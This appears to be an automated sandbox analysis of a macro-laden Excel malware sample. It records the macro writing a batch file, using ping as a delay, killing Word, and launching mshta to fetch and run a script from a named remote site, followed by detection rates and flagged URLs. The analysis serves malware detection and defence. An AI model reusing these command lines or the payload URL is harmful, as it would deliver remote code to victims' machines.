Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_OpenName: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsOLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsMetadefender: Detection: 26%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsReversingLabs: Detection: 41%
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........3J.... .5J............h.......2.................3J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............c.a.l.l........./....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .g.e.t.C.m.d.P.i.d...b.a.t. ............B=.....c.a.l.l........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................i.d...b..................B=.....c.a.l.l........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................1J....................................@c5J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.........3J.... .5J............h.......2.................3J....Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............s.e.t.........../....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .P.I.D.=.1. ............................B=.....s.e.t............. .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L........................................................B=.....s.e.t............. .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L.................................$......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................o.d.e....................B=.....m.o.d.e........... .............................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ..................1J....................................@c5J..... .........................v............P.......................................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L................................z ......................G=....................... .............8...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............c.d............./....................... ........$1J............/...............H...............................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. ........B=.....c.d............... .....................".......................Jump to behavior
Source: C:\Windows\System32\cmd.exeConsole Write: ................L...............................s.\.P.u..................B=.....c.d............... .............................................Jump to behavior
Source: C:\Windows\System32\taskkill.exeConsole Write: ................8...............................d1K.......................c.............d...............e.c.............X.......B.........C.....Jump to behavior
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
Source: C:\Windows\System32\taskkill.exeWMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;WINWORD.EXE&quot;)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR5253.tmpJump to behavior
Source: classification engineClassification label: mal92.troj.expl.evad.winXLS@11/87@4/4
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SettingsJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Windows\System32\mshta.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 BlobJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\taskkill.exe TID: 1916Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2484Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\mshta.exeMemory protected: page read and write | page guardJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Virtualization/Sandbox Evasion		Remote Services1
Email Collection		Exfiltration Over Other Network Medium1
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Modify Registry		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth4
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts121
Scripting		Logon Script (Windows)Logon Script (Windows)1
Virtualization/Sandbox Evasion		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Clipboard Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts23
Exploitation for Client Execution		Logon Script (Mac)Logon Script (Mac)11
Disable or Modify Tools		NTDS1
File and Directory Discovery		Distributed Component Object ModelInput CaptureScheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common121
Scripting		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls26%MetadefenderBrowse
SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls41%ReversingLabsScript-Macro.Downloader.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls100%AviraX97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)9p100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1100%Avira URL Cloudmalware
http://adomas.org/javascript-mouse-wheel/0%URL Reputationsafe
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2u100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com100%Avira URL Cloudmalware
https://csp.withgoogle.com/csp/report-to/apps-themes0%URL Reputationsafe
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417D100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/style.css9.2100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3100%Avira URL Cloudmalware
https://facextrade.com.br/#servicosi(100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417(100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3100%Avira URL Cloudmalware
http://kyruus.com0%URL Reputationsafe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d100%Avira URL Cloudmalware
https://facextrade.com.br/feed/100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0er100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)E100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/certificates/4.txtsmshta100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2100%Avira URL Cloudmalware
http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.20%Avira URL Cloudsafe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssu100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css100%Avira URL Cloudmalware
http://daneden.me/animate0%URL Reputationsafe
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0y100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.c100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js100%Avira URL Cloudmalware
https://facextrade.com.br/feed/atom/&4100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs100%Avira URL Cloudmalware
http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.05100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css0I100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ame0E)100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)100%Avira URL Cloudmalware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)A100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
facextrade.com.br
187.45.240.69
truefalse
    		unknown
    gstaticadssl.l.google.com
    		172.217.16.195
    		truefalse
